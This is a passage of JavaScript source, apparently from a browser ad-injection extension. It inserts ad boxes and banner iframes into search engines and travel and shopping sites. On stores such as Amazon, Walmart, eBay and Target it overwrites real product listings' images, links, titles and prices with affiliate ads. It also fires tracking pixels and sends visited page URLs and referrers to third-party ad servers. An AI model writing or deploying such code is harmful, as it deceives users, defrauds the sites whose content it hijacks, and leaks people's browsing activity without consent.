div.css('width', '650px');
div.insertBefore('.stories');
div2.css('width', '650px');
div2.insertAfter('#story-list-container');
}
else if(isHubpages === true) {
div.css('width', '640px');
div.insertAfter('.sort');
div2.css('width', '640px');
jQuery('#pagination').prepend(div2);
}
else if(isSresults === true) {
div.css('width', '740px');
jQuery('.spl_unshd.ftcLine ').prepend(div);
div2.css('width', '740px');
jQuery('#paging').prepend(div2);
}
else if(isFnetwork === true) {
div.css('width', '390px');
div.insertBefore('#results');
div2.css('width', '390px');
div2.insertAfter('#results');
}
else if(isElink === true) {
div.css('width', '600px');
div.insertAfter('#webResults h2');
div2.css('width', '600px');
div2.insertAfter('#webResults');
}
else if(isDM === true) {
div.css('width', '610px');
jQuery('#dual_list').prepend(div);
div2.css('width', '610px');
div2.insertAfter('#search_results');
}
else if(isKayak === true) {
div.css('width', '620px');
div.insertAfter('#topOfResultsHeader');
div2.css('width', '620px');
div2.insertAfter('#content_div');
}
else if(isSfgate === true) {
div.css('width', '450px');
div.insertBefore('#yahooSponsoredLinks');
div2.css('width', '450px');
div2.insertAfter('.results_site');
}
else if(isCostco === true) {
injectShoppingAds(term);
div.css('width', '600px');
div.insertBefore('#SearchedItems1_SearchResultAddtoCart1_ProductList');
div2.css('width', '600px');
div2.insertAfter('#SearchedItems1_SearchResultAddtoCart1_ProductList');
}
else if(isHp === true) {
div.css('width', '600px');
div.insertAfter('.heading_row');
div2.css('width', '600px');
div2.insertBefore('.footing_row');
}
else if(isCBank === true) {
div.css('width', '660px');
div.insertAfter('#FastSearchResults');
div2.css('width', '660px');
div2.insertAfter('.appRowGroup.searchNav.searchNavBottom');
}
else if(isBberg === true) {
div.css('width', '500px');
jQuery('#srp_results').prepend(div);
div2.css('width', '500px');
div2.insertBefore('.pagination.clearfix');
}
else if(isMwatch === true) {
div.css('width', '570px');
jQuery('.block.sponsoredlinkblock.mainline').prepend(div);
div2.css('width', '570px');
jQuery('.resultlist').append(div2);
}
else if(isBabylon === true) {
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '630px');
jQuery('#gRsTopLinks').prepend(div);
div2.css('width', '630px');
jQuery('#gRsWeb').append(div2);
div3.css('width', '630px');
div3.insertAfter('#sw-ads');
div4.css('width', '630px');
div4.insertAfter('#sw-ads-3');
}
else if(isNextag === true) {
injectShoppingAds(term);
//injectIframeShoppingAds(190, 750, 'pr', 'v', '#search-vertical-container', term);
}
else
return;
ads = '';
if (!obj || !obj.items) {
for (i = 0; i < 4; i++) {
if(i > 0)
swAdsBox = "#sw-ads-"+(i+1);
else
swAdsBox = "#sw-ads";
if(jQuery(swAdsBox).length > 0)
jQuery(swAdsBox).remove();
}
return;
}
if ( obj.items.length < 1) {
for (i = 0; i < 4; i++) {
if(i > 0)
swAdsBox = "#sw-ads-"+(i+1);
else
swAdsBox = "#sw-ads";
if(jQuery(swAdsBox).length > 0)
jQuery(swAdsBox).remove();
}
return;
}
if(obj.items.length < 4)
{
for(i = obj.items.length; i<4; i++)
{
if(i > 0)
swAdsBox = "#sw-ads-"+(i+1);
else
swAdsBox = "#sw-ads";
if(jQuery(swAdsBox).length > 0)
jQuery(swAdsBox).remove();
}
}
/*if(ad_label != '')
{
div.html('');
div2.html('');
}*/
for(var ij=0; ij<4; ij++)
{
if(obj.items[ij] && obj.items[ij].title && obj.items[ij].title != '')
{
title = obj.items[ij].title;
redirect = obj.items[ij].url;
desc = obj.items[ij].description;
adUrl = obj.items[ij].displayUrl;
if(ij > 0)
contId = "#sw-ads-"+(ij+1);
else
contId = "#sw-ads";
if(jQuery(contId).length > 0)
{
injectXmlBox(ij, contId, title, redirect, adUrl, desc);
(new Image()).src = obj.items[ij].pixel;
}
}
}
}
function injectXmlBox(id, containerId, title, redirect, adUrl, desc)
{
listId = "injectedList"+id;
linkId = "injectedLink"+id;
urlId = "injectedUrl"+id;
descriptionId = "injectedDescription"+id;
list = jQuery('').appendTo(containerId);
link = jQuery('').appendTo(list);
if(id == 0 && ad_label != '')
{
if(pageEntity == "google")
ad_label_link = "https://www.google.com/intl/en/policies/?fg=1";
else if(pageEntity == "yahoo")
ad_label_link = "http://info.yahoo.com/privacy/us/yahoo/search/details.html";
else if(pageEntity == "bing")
ad_label_link = "http://www.microsoft.com/privacystatement/en-us/bing/default.aspx";
else if(pageEntity == "ask")
ad_label_link = "http://about.ask.com/privacy-policy";
else if(pageEntity == "aol")
ad_label_link = "http://privacy.aol.com/";
brand = jQuery('').appendTo(list);
}
cite = jQuery('').appendTo(list);
url = jQuery('').appendTo(cite);
var description = jQuery('').appendTo(list);
list.find('.link')
.attr('href', redirect)
.attr('rel', adUrl)
list.find('#link2')
.attr('href', redirect)
.attr('rel', adUrl)
if(isGoogle === true && (dSites['xml'].indexOf("google,") != -1 || xmlAds == 0))
{
var cookieName = "googleSerpAds";
var cookieVal = 1;
var values = new Array();
var fts = Math.round((new Date()).getTime() / 1000) + 86400;
values.push(cookieVal);
values.push(fts);
list.find('.link').click(function() {
localStorage[cookieName] = values.join(";");
});
list.find('#link2').click(function() {
localStorage[cookieName] = values.join(";");
});
}
link.html(title);
url.html(adUrl);
description.html(desc.length > 100 ? desc.slice(0, 100) : desc);
list.attr('id', listId);
link.attr('id', linkId);
url.attr('id', urlId);
description.attr('id', descriptionId);
}
function injectBannerAd(adSize, adPlacement, injectFunc, adAffiliate, adForceSearch, beforeBanner)
{
if(1)
{
if(bannerAds == 0 && adSize != '300x250')
return;
var glBanner = '';
if(adPlacement == 'body')
glBanner = '&gb=1';
var adMediaBannerWd = "";
var adMediaBannerHt = "";
var afterBanner = "";
if(beforeBanner != '')
afterBanner = "";
if(q_link != '')
beforeBanner += "";
bannersize = adSize.split("x");
adMediaBannerWd = bannersize[0];
adMediaBannerHt = bannersize[1];
grSize = adSize;
grBannerWd = adMediaBannerWd;
grBannerHt = adMediaBannerHt;
if(adSize != "728x90" && adSize != "468x60" && adSize != "300x250" && adSize != "234x60" && adSize != "125x125" && adSize != "120x90" && adSize != "120x60")
{
grSize = "728x90";
grBannerWd = "728";
grBannerHt = "90";
}
if(pageEntity == "facebook")
adForceSearch += "&fb=1";
else if(pageEntity == "twitter")
adForceSearch += "&tw=1";
else if(httpText == "https")
adForceSearch += "&hostDomain="+escape(document.location.href);
//bannerHost = '192.168.10.74/adinteractivemedia.com/trunk/banners';
if(injectFunc == "af")
{
if(vdisplayEn == 1 && adSize == "300x250" && vdisplay == 0 && jQuery(adPlacement).length > 0)
{
if(pageEntity == "youtube")
subid += "&yt=1";
jQuery(beforeBanner+''+afterBanner).insertAfter(adPlacement);
vdisplay = 1;
return;
}
jQuery(beforeBanner+''+afterBanner).insertAfter(adPlacement);
jQuery('').insertAfter(adPlacement);
}
else if(injectFunc == "ap")
{
if(pageEntity == "facebook")
{
var biframe = document.createElement('iframe');
biframe.setAttribute('src', httpText+"://"+bannerHost+"/gbanner.php?pid="+placementID+"&d=1&aff="+affiliate+"&size="+adSize+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&pageReferer="+encodeURIComponent(pageReferer)+glBanner);
biframe.setAttribute('width', adMediaBannerWd);
biframe.setAttribute('height', adMediaBannerHt);
biframe.setAttribute('frameborder', 0);
biframe.setAttribute('scrolling', 'no');
biframe.setAttribute('class', 'injAmPageBanner');
var bdiv = document.createElement('div');
bdiv.setAttribute('class', 'sw-banner-ads');
bdiv.appendChild(biframe);
document.getElementById(adPlacement).appendChild(bdiv);
return;
}
if(vdisplayEn == 1 && adSize == "300x250" && vdisplay == 0 && jQuery(adPlacement).length > 0)
{
if(pageEntity == "youtube")
subid += "&yt=1";
jQuery(adPlacement).append(beforeBanner+''+afterBanner);
vdisplay = 1;
return;
}
jQuery(adPlacement).append(beforeBanner+''+afterBanner);
jQuery(adPlacement).append('');
}
else if(injectFunc == "be")
{
if(pageEntity == "facebook")
{
var biframe = document.createElement('iframe');
biframe.setAttribute('src', httpText+"://"+bannerHost+"/gbanner.php?pid="+placementID+"&d=1&aff="+affiliate+"&size="+adSize+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&pageReferer="+encodeURIComponent(pageReferer)+glBanner);
biframe.setAttribute('width', adMediaBannerWd);
biframe.setAttribute('height', adMediaBannerHt);
biframe.setAttribute('frameborder', 0);
biframe.setAttribute('scrolling', 'no');
biframe.setAttribute('class', 'injAmPageBanner');
var bdiv = document.createElement('div');
bdiv.setAttribute('class', 'sw-banner-ads');
bdiv.setAttribute('style', 'height: '+adMediaBannerHt+'; padding-left: 30px; padding-top: 5px;');
bdiv.appendChild(biframe);
//var iframeHTML = beforeBanner+''+afterBanner;
//alert(document.getElementById('photos_snowlift').getElementsByClassName(adPlacement)[0]);
if(adPlacement == "timeline_tab_content" || adPlacement == "pagelet_vertex_body")
{
document.getElementById('timeline_tab_content').insertBefore(bdiv, document.getElementById('pagelet_timeline_recent'));
}
else
{
document.getElementById('photos_snowlift').getElementsByClassName(adPlacement)[0].insertBefore(bdiv, document.getElementById('photos_snowlift').getElementsByClassName('rhcHeader')[0]);
document.getElementById('photos_snowlift').getElementsByClassName('_5ciw rhcFooter')[0].setAttribute('style', 'position: relative;');
}
return;
}
if(vdisplayEn == 1 && adSize == "300x250" && vdisplay == 0 && jQuery(adPlacement).length > 0)
{
if(pageEntity == "youtube")
subid += "&yt=1";
jQuery(beforeBanner+''+afterBanner).insertBefore(adPlacement);
vdisplay = 1;
return;
}
jQuery(beforeBanner+''+afterBanner).insertBefore(adPlacement);
jQuery('').insertBefore(adPlacement);
}
else if(injectFunc == "pr")
{
if(vdisplayEn == 1 && adSize == "300x250" && vdisplay == 0 && jQuery(adPlacement).length > 0)
{
if(pageEntity == "youtube")
subid += "&yt=1";
jQuery(adPlacement).prepend(beforeBanner+''+afterBanner);
vdisplay = 1;
return;
}
jQuery(adPlacement).prepend(beforeBanner+''+afterBanner);
jQuery(adPlacement).prepend('');
}
}
}
function injectGrBanner(adSize, adPlacement, injectFunc)
{
if(bannerAds == 1)
{
var adMediaBannerWd = "";
var adMediaBannerHt = "";
bannersize = adSize.split("x");
adMediaBannerWd = bannersize[0];
adMediaBannerHt = bannersize[1];
if(injectFunc == "af")
{
jQuery('').insertAfter(adPlacement);
}
else if(injectFunc == "ap")
{
jQuery(adPlacement).append('');
}
else if(injectFunc == "be")
{
jQuery('').insertBefore(adPlacement);
}
else if(injectFunc == "pr")
{
jQuery(adPlacement).prepend('');
}
}
}
getIECallback = function (obj, dir) {
injectXmlAds(obj);
}
shuffle = function(o){ //v1.0
for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);
return o;
};
function disablePreroll()
{
localStorage['disablePreroll'] = 1;
closePreroll();
return false;
}
function closePreroll()
{
var fram = document.getElementById('prerollIframe');
fram.parentNode.removeChild(fram);
return false;
}
function injectPreroll(container, st)
{
/*if(prerollHosts[pageEntity] === true)
{
//alert(localStorage['disablePreroll']);
var showPreroll = 1;
if(localStorage['disablePreroll'] && localStorage['disablePreroll'] == 1)
showPreroll = 0;
if(prollEnabled == "1" && showPreroll == 1)
{
var prerollWidth = 480;
var prerollHeight = 400;
var prerollParams = '&ref='+encodeURIComponent(pageUrl);
if(pageEntity == "yahoo" || pageEntity == "msn" || pageEntity == "youtube" || pageEntity == "aol" || pageEntity == "imdb" || pageEntity == "flickr" || pageEntity == "agame" || pageEntity == "nick" || pageEntity == "mashable")
{
prerollWidth = 300;
prerollHeight = 250;
prerollParams += "&width="+prerollWidth+"&height="+prerollHeight;
}
if(st == "af")
{
jQuery('You might also enjoy this related video:
').insertAfter(container);
}
else if(st == "ap")
{
jQuery(container).append('You might also enjoy this related video:
');
}
fplayer_width = 480;
fplayer_height = 385;
}
}*/
}
function injectIframeShoppingAds(width, height, fn, type, dom, term)
{
if(xmlAds == 1 && shopAffiliate != '')
{
if(type == 'h')
fileName = "horizontal.php";
else
fileName = "vertical.php";
var befIframe = '';
if(q_link != '')
befIframe += ' ';
if(fn == "af")
{
jQuery(befIframe+'').insertAfter(dom);
}
else if(fn == "ap")
{
jQuery(dom).append(befIframe+'');
}
else if(fn == "be")
{
jQuery(befIframe+'').insertBefore(dom);
}
else if(fn == "pr")
{
jQuery(dom).prepend(befIframe+'');
}
}
}
function getVShoppingHTML(obj)
{
var adHTML = '';
if(isBestBuy === true)
fSize = 1.0;
else
fSize = 0.66;
if(q_link != '')
adHTML += " ";
if(obj.items && obj.items.length > 0)
{
adHTML += '';
}
return adHTML;
}
function getHShoppingHTML(obj)
{
var adHTML = '';
if(q_link != '')
adHTML += " ";
if(obj.items && obj.items.length > 0)
{
adHTML += '';
}
return adHTML;
}
function getGoogleShopping(obj)
{
var adHTML = '';
if(obj.items && obj.items.length > 0)
{
adHTML += '';
if(term != '')
{
term = term.replace(/\+/g, " ");
var shopRed = '';
if(obj.items[0] && obj.items[0].title)
shopRed = obj.items[0].url;
else
shopRed = "javascript: void();";
adHTML += '';
}
adHTML += '';
for(i=0; i<5; i++)
{
if(obj.items[i] && obj.items[i].title && obj.items[i].title != ''){
if(obj.items[i].title.length > 25)
{
obj.items[i].title = obj.items[i].title.substr(0, 25);
obj.items[i].title += "...";
}
if(obj.items[i].displayUrl.length > 13)
{
obj.items[i].displayUrl = obj.items[i].displayUrl.substr(0, 13);
obj.items[i].displayUrl += "..";
}
var price = '';
var descEx = obj.items[i].description.split("::");
if(descEx.length > 1 && descEx[1])
{
var desc = descEx[0];
var priceStr = descEx[1];
priceEx = priceStr.split(":");
if(priceEx.length > 1 && priceEx[1])
{
price = priceEx[1];
if(price.charAt(0) == '')
price = price.substr(1);
}
}
var listNum = i+1;
var listId = "plathumb6s"+listNum;
adHTML += '
';
adHTML += '
';
adHTML += '';
adHTML += '
';
adHTML += '
'+price+'
';
adHTML += '
'+obj.items[i].displayUrl+'
';
(new Image()).src = obj.items[i].pixel;
}
}
adHTML += '
';
}
return adHTML;
}
function injectShoppingAds(shopTerm)
{
var stermsArr = ['Mens Tennis Shoes', 'Pumps and Heels', 'Nikon Cameras', 'Dell Computers', 'Samsung Tvs', 'Video Games', 'Tote Handbags', 'Perfume for Men', 'Fashion Jewelry', 'Ceramic Watches', 'Diamond Studs', 'Educational Toys', 'Patio Furniture Sets'];
var sterms = shuffle(stermsArr);
if(shopTerm == '')
shopTerm = sterms[0];
if(shoppingAdsEn == 1 && shopAff != '' && jQuery('#swShoppingWidget').length <= 0)
loadScript("https://in.admedia.com/content_shop.php?id="+shopAff+"&term=" +shopTerm+"&pageDomain="+pageDomain+subid+"&pageEntity="+pageEntity+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getShoppingCallback", function(){});
}
function getPriceFromDesc(desc)
{
var price = "";
var descEx = desc.split("::");
if(descEx.length > 1)
{
var priceStr = descEx[1];
priceEx = priceStr.split(":");
if(priceEx.length > 1 && priceEx[1])
price = priceEx[1];
}
return price;
}
function getDescFromDesc(desc)
{
var price = "";
var descEx = desc.split("::");
return descEx[0];
}
function getShoppingCallback(obj, dir)
{
if(pageEntity == "google")
{
var adHTML = getGoogleShopping(obj);
setTimeout(function() {
if(jQuery('#swShoppingWidget').length <= 0)
jQuery('#taw').prepend(jQuery(adHTML));
if(dSites['xml'].indexOf("google,") != -1 || xmlAds == 0)
{
var scookieName = "googleShopAds";
var scookieVal = 1;
var svalues = new Array();
var sfts = Math.round((new Date()).getTime() / 1000) + 86400;
svalues.push(scookieVal);
svalues.push(sfts);
jQuery('.googleShoppingAdsImage').click(function() {
localStorage[scookieName] = svalues.join(";");
});
jQuery('.googleShoppingAdsTitle').click(function() {
localStorage[scookieName] = svalues.join(";");
});
}
}, 1000);
return;
}
var vAdHTML = getVShoppingHTML(obj);
var hAdHTML = getHShoppingHTML(obj);
if(pageEntity == "yahoo")
{
//jQuery('#results').prepend(jQuery(hAdHTML));
//jQuery('#shrightcol').prepend(jQuery(hAdHTML));
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('ul.hproducts > .hproduct').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.img > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').html(obj.items[gc].title);
jQuery(this).find('.desc').html(desc);
if(price != '')
jQuery(this).find('.price > a').html(""+price+"");
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('ol.list > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.pimg > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.pro-info > h3 > a').html(obj.items[gc].title);
jQuery(this).find('.desc').html(desc);
if(price != '')
jQuery(this).find('.price').html(""+price+"");
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "bing")
jQuery('#sidebar').prepend(jQuery(vAdHTML));
else if(pageEntity == "info")
jQuery('#r').append(jQuery(vAdHTML));
else if(pageEntity == "amazon")
{
//jQuery('#breadCrumbDiv').append(jQuery(hAdHTML));
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('div[id^="result_"]').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
jQuery(this).find('.productImage').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.newaps > a > span.lrg').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.price').html(price);
jQuery(this).find('.newaps > span.med').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "overstock")
{
//jQuery('#relatedSearches').append(jQuery(hAdHTML));
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#result-products > .product').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
jQuery(this).find('.img-middle > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.pro-name').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.you-save').html("Today: "+price+"");
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "walmart")
{
//jQuery('.NavColumn').prepend(jQuery(vAdHTML));
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#border > div[id^="i_"]').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
bigPrice = null;
smallPrice = null;
price = getPriceFromDesc(obj.items[gc].description);
if(price.indexOf(".") != -1)
{
priceEx = price.split(".");
bigPrice = priceEx[0];
smallPrice = priceEx[1];
}
jQuery(this).find('.prodImg').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.prodLink.ListItemLink').html(obj.items[gc].title);
if(bigPrice && smallPrice)
{
jQuery(this).find('.bigPriceText2').html(bigPrice+".");
jQuery(this).find('.smallPriceText2').html(smallPrice);
}
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "sears" || pageEntity == "kmart")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#cardsHolder > .cardContainer').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
jQuery(this).find('.cardImgCont > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.cardProdTitle > h2 > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "jcpenney")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.product_holder').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
jQuery(this).find('.product_image > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.detail > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.gallery_page_price > a').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "shopping")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#searchResultsContainer > form > .gridBox').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
if(obj.items[gc].title.length > 30)
title = obj.items[gc].title.substr(0,30)+"..";
else
title = obj.items[gc].title;
price = getPriceFromDesc(obj.items[gc].description);
jQuery(this).find('.dealImage > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.productName').html(title);
if(price != '')
jQuery(this).find('.productPrice').html(price);
jQuery(this).find('.newMerchantName').html(obj.items[gc].dispalyUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "lowes")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#productResults > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.productImg').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.productTitle > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.pricing > strong').html(price);
jQuery(this).find('.prod-detail').html(""+desc+"");
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "homedepot")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#products > .product').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
jQuery(this).find('.content_image > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.item_description').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.item_price').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "macys")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#thumbnails > div > .productThumbnail').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
jQuery(this).find('.thumbnailImage').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.shortDescription > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.prices > span').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "pronto")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.eachGridProduct3').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
jQuery(this).find('.searchimage').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.productGridTitle > a > span').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.priceValue').html(price);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "shopzilla")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.offer.result').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.image > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.price-new > a').html(price);
jQuery(this).find('.description > span').html(desc);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "bestbuy")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.hproduct').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.thumb').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.info-main > h3 > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.price > span').html(price);
jQuery(this).find('.description').html(desc);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "target")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('.productsListView > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.tileImage').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.productTitle > a').html(obj.items[gc].title);
if(price != '')
jQuery(this).find('.price').html(price);
jQuery(this).find('.description > a').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "staples")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#productDetail > li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('.pic > a > img').attr('src', obj.items[gc].image);
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.name > h3 > a').html(obj.items[gc].title);
jQuery(this).find('.bullets').html(""+desc+"");
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(pageEntity == "ebay")
{
var gc = 0;
var skip3 = 0;
var ct3 = 0;
jQuery('#ResultSetItems > table.li').each(function(){
if(gc>0 && gc%3 == 0)
skip3 = 1;
if(skip3 == 1)
{
if(ct3 < 3)
ct3++;
else if(ct3 == 3)
{
skip3 = 0;
ct3 = 0;
}
}
if(skip3 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
price = getPriceFromDesc(obj.items[gc].description);
desc = getDescFromDesc(obj.items[gc].description);
jQuery(this).find('img.img').attr('src', obj.items[gc].image);
